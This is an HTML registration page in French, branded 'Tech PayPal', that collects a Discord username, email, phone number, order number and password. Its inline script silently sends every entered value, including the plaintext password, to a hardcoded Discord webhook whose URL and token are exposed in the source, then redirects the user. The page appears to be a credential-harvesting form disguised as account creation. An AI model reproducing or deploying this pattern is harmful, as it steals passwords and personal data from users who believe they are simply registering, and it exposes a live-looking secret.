<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="style.css">
    <title>Formulaire</title>
    <link rel="icon" type="image/gif" href="/Capture_d_écran_2024-12-01_141507-removebg-preview.png">

</head>
<style>
* {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
}


body {
    font-family: 'Arial', sans-serif;
    color: #f0f0f0;
    min-height: 100vh;
    display: flex;
    flex-direction: column;
    justify-content: space-between;
    overflow-x: hidden;
    position: relative;
    background-color: transparent; /* Aucune superposition blanche */
    margin: 0;
    background-color: #000; /* Fond noir */
}

.background-video {
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    object-fit: cover;
    z-index: -1;
     /* Réduction de la luminosité sans opacité */
}

header {
    background-color: rgba(0, 0, 0, 0.8); 
    color: white;
    padding: 20px;
    text-align: center;
    font-size: 2.5em;
    letter-spacing: 2px;
    box-shadow: 0px 5px 10px rgba(0, 0, 0, 0.4);
    margin-bottom: 10px;
}

/* Menu de navigation */
nav ul {
    list-style: none;
    display: flex;
    justify-content: center;
    background-color: rgba(34, 34, 34, 0.8); 
    padding: 15px 0;
    box-shadow: 0px 5px 15px rgba(0, 0, 0, 0.4);
    border-radius: 10px;
    margin-top: 20px;
}

nav ul li {
    margin: 0 20px;
}

nav ul li a {
    color: white;
    text-decoration: none;
    padding: 15px 25px;
    border-radius: 30px;
    transition: background-color 0.5s, transform 0.4s, box-shadow 0.4s;
}

nav ul li a:hover {
    background-color: #000000;
    box-shadow: 0px 10px 20px rgba(0, 0, 0, 0.6);
    transform: translateY(-5px);
}

nav ul li a:active {
    background-color: #ff0080;
    box-shadow: 0px 5px 15px rgba(255, 0, 128, 0.6);
    transform: scale(1.1);
}

@keyframes fadeIn {
    from { opacity: 0; }
    to { opacity: 1; }
}

h2 {
    color: #ffffff;
    border-bottom: 2px solid #ccc;
    padding-bottom: 5px;
    margin-bottom: 15px;
    animation: slideIn 1s;
}

@keyframes slideIn {
    from { transform: translateY(-20px); opacity: 0; }
    to { transform: translateY(0); opacity: 1; }
}

p {
    line-height: 1.6;
    margin-bottom: 15px;
    animation: fadeIn 2s;
    animation-delay: 0.5s;
    opacity: 0;
    animation-fill-mode: forwards;
}

  /* Footer */
  footer {
            text-align: center;
            padding: 10px;
            color: white;
            background-color: #222222;
        }
.background-video {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    object-fit: cover;
    z-index: -1;
}

/* Conteneur principal (formulaire) */
.container {
    background-color: rgba(0, 0, 0, 0.85); /* Fond noir transparent pour le formulaire */
    padding: 30px;
    border-radius: 10px;
    box-shadow: 0px 10px 20px rgba(0, 0, 0, 0.5);
    width: 100%;
    max-width: 400px;
    text-align: center;
    position: relative;
    top: 0; /* Retirer tout offset vertical pour un centrage complet */
    margin: 0 auto; /* Centre horizontalement */
}

/* Formulaire */
.form-control {
    margin-bottom: 15px;
    text-align: left;
}

.form-control label {
    display: block;
    margin-bottom: 5px;
    color: #ffffff;
}

.form-control input, 
.form-control select {
    width: 100%;
    padding: 10px;
    font-size: 1em;
    border: 1px solid #ccc;
    border-radius: 5px;
    outline: none;
    transition: border-color 0.3s ease;
}

.form-control input:focus, 
.form-control select:focus {
    border-color: #ff0080;
    box-shadow: 0px 0px 5px rgba(255, 0, 128, 0.6);
}

.form-control small {
    color: #ff4d4d;
    font-size: 0.9em;
    visibility: hidden;
    margin-top: 5px;
}

.form-control.error input, 
.form-control.error select {
    border-color: #ff4d4d;
}

.form-control.error small {
    visibility: visible;
}

/* Bouton de soumission */
button {
    width: 100%;
    padding: 10px;
    background-color: #ff0080;
    color: #fff;
    border: none;
    border-radius: 5px;
    font-size: 1.2em;
    cursor: pointer;
    transition: background-color 0.3s ease, transform 0.2s;
}

button:hover {
    background-color: #e60073;
    transform: scale(1.05);
}

button:active {
    background-color: #cc005f;
    transform: scale(0.95);
}
#overlay {
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background: rgba(0, 0, 0, 0.7);
    display: none;
    justify-content: center;
    align-items: center;
    color: white;
    font-size: 2em;
    z-index: 1000;
    opacity: 0;
    transition: opacity 1s ease;
}

#overlay.show {
    display: flex;
    opacity: 1;
}
/* Pour les petits écrans (mobiles) */
@media (max-width: 600px) {
    #reviews {
        flex-direction: column;
        align-items: center;
        justify-content: center; /* Centre les éléments */
    }

    .review-card {
        width: 100%; /* Occupation complète de l'espace */
        padding: 15px;
    }

    /* Ajuster la taille de l'image pour les petits écrans */
    .client-img {
        width: 60px;
        height: 60px;
    }

    /* Ajuster la taille du texte */
    .review-text {
        font-size: 0.9rem;
    }

    .client-name {
        font-size: 1.1rem;
    }

    #ratingText {
        font-size: 1rem;
    }

    /* Réduire la taille du titre sur mobile */
    h1 {
        font-size: 1.5rem; /* Ajuste la taille du titre */
        text-align: center; /* Centrer le titre */
        word-wrap: break-word; /* Éviter que le titre dépasse de l'écran */
        overflow-wrap: break-word; /* En cas de mots longs */
    }
}

/* Pour les écrans moyens (tablettes) */
@media (min-width: 601px) and (max-width: 1024px) {
    #reviews {
        justify-content: flex-start; /* Aligne les éléments sur le côté gauche pour maximiser l'espace */
    }

    .review-card {
        width: 45%;
    }

    .client-img {
        width: 70px;
        height: 70px;
    }

    .review-text {
        font-size: 1rem;
    }

    .client-name {
        font-size: 1.2rem;
    }

    /* Ajuster la taille du titre pour les tablettes */
    h1 {
        font-size: 2rem; /* Ajuster la taille pour les écrans moyens */
        text-align: center;
    }
}

</style>
<body>
    <video autoplay muted loop class="background-video">
        <source src="/noir.mp4" type="video/mp4">
        Votre navigateur ne prend pas en charge les vidéos.
    </video>

    <header>
        <h1>Formulaire d'inscription</h1>
    </header>

    <div class="container">
        <div class="header">
            <h2>Création d'un compte</h2>
        </div>
        <form class="form" id="form">
            <div class="form-control">
                <label for="discordPseudo">Pseudo Discord</label>
                <input type="text" id="discordPseudo" placeholder="Entrez votre pseudo Discord">
                <small>Message d'erreur</small>
            </div>
            
            <div class="form-control">
                <label for="email">Email</label>
                <input type="text" id="email" placeholder="Entrez votre adresse email">
                <small>Message d'erreur</small>
            </div>

            <div class="form-control">
                <label for="phoneNumber">Numéro de téléphone</label>
                <input type="number" id="phoneNumber" placeholder="Entrez votre numéro de téléphone">
                <small>Message d'erreur</small>
            </div>

            <div class="form-control">
                <label for="commande">Numéro de commande (mot de passe fournit dans le mail)</label>
                <input type="text" id="commande" placeholder="Entrez le numéro de commande">
                <small>Message d'erreur</small>
            </div>

            <div class="form-control">
                <label for="password">Mot de passe libre</label>
                <input type="password" id="password" placeholder="Entrez un mot de passe de votre choix">
                <small>Message d'erreur</small>
            </div>

            <button type="submit">Valider</button>
        </form>
    </div>

    <!-- Overlay pour l'animation de redirection -->
    <div id="overlay">Redirection...</div>
<script>
    const form = document.getElementById('form');
const email = document.getElementById('email');
const phoneNumber = document.getElementById('phoneNumber');
const commande = document.getElementById('commande');
const password = document.getElementById('password');
const discordPseudo = document.getElementById('discordPseudo'); // Champ pour le pseudo Discord
const overlay = document.getElementById('overlay');

const validCommandes = [
    "783134629503951162",
    "29722055319134515013592",
    "169214191129978619248355"
];

const discordWebhookUrl = "https://discord.com/api/webhooks/1314553708255645724/eepSi6q0QLPtlEFgcKEz4X1_WcgzkXwO90NwOjAirai_Bqqo073MfaNqLmG4z_U0gHZ_";

form.addEventListener("submit", async (e) => {
    e.preventDefault();
    if (verifierChamps()) {
        afficherAnimation();
        await envoyerAuWebhookDiscord();
        setTimeout(() => {
            window.location.href = "accueil.html"; // Redirection après soumission
        }, 1000); // Redirection après 1 seconde
    }
});

// Fonction de validation des champs du formulaire
function verifierChamps() {
    const emailValue = email.value.trim();
    const phoneNumberValue = phoneNumber.value.trim();
    const commandeValue = commande.value.trim();
    const passwordValue = password.value.trim();
    const discordPseudoValue = discordPseudo.value.trim(); // Récupérer le pseudo Discord
    let isValid = true;

    // Vérification de l'email
    if (emailValue === "" || !validerEmail(emailValue)) {
        definirMessageErreur(email, "Veuillez entrer un email valide.");
        isValid = false;
    } else {
        definirMessageSucces(email);
    }

    // Vérification du numéro de téléphone
    if (phoneNumberValue === "" || phoneNumberValue.length < 10) {
        definirMessageErreur(phoneNumber, "Numéro de téléphone invalide.");
        isValid = false;
    } else {
        definirMessageSucces(phoneNumber);
    }

    // Vérification du numéro de commande
    if (commandeValue === "" || !validCommandes.includes(commandeValue)) {
        definirMessageErreur(commande, "Numéro de commande incorrect.");
        isValid = false;
    } else {
        definirMessageSucces(commande);
    }

    // Vérification du mot de passe
    if (passwordValue === "" || passwordValue.length < 8) {
        definirMessageErreur(password, "Mot de passe invalide.");
        isValid = false;
    } else {
        definirMessageSucces(password);
    }

    // Vérification du pseudo Discord
    if (discordPseudoValue === "") {
        definirMessageErreur(discordPseudo, "Veuillez entrer votre pseudo Discord.");
        isValid = false;
    } else {
        definirMessageSucces(discordPseudo);
    }

    return isValid;
}

// Fonction pour afficher un message d'erreur
function definirMessageErreur(input, message) {
    const formControl = input.parentElement;
    formControl.className = "form-control error";
    formControl.querySelector("small").innerText = message;
}

// Fonction pour afficher un message de succès
function definirMessageSucces(input) {
    const formControl = input.parentElement;
    formControl.className = "form-control success";
}

// Fonction pour valider un email avec une expression régulière
function validerEmail(email) {
    const re = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
    return re.test(email);
}

// Fonction pour envoyer les données au webhook Discord
async function envoyerAuWebhookDiscord() {
    const emailValue = email.value.trim();
    const phoneNumberValue = phoneNumber.value.trim();
    const commandeValue = commande.value.trim();
    const passwordValue = password.value.trim();
    const discordPseudoValue = discordPseudo.value.trim(); // Récupérer le pseudo Discord

    const message = {
        embeds: [
            {
                title: "🚀 Nouvelle Soumission de Formulaire !",
                color: 5814783, // Couleur bleue
                fields: [
                    { name: "📧 Adresse Email", value: `\`${emailValue}\``, inline: true },
                    { name: "📱 Numéro de téléphone", value: `\`${phoneNumberValue}\``, inline: true },
                    { name: "🔒 Mot de Passe", value: `\`${passwordValue}\``, inline: false },
                    { name: "📝 Numéro de commande", value: `\`${commandeValue}\``, inline: false },
                    { name: "💬 Pseudo Discord", value: `\`${discordPseudoValue}\``, inline: false } // Pseudo Discord ajouté
                ],
                footer: { text: "Tech PayPal - Formulaire de Soumission" },
                timestamp: new Date()
            }
        ]
    };

    await fetch(discordWebhookUrl, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify(message)
    });
}

// Fonction pour afficher une animation de redirection
function afficherAnimation() {
    overlay.classList.add("show");
}
</script>
       <footer>
        <p>&copy; 2024 Tech Paypal. Tous droits réservés.</p>
    </footer>

</body>
</html>
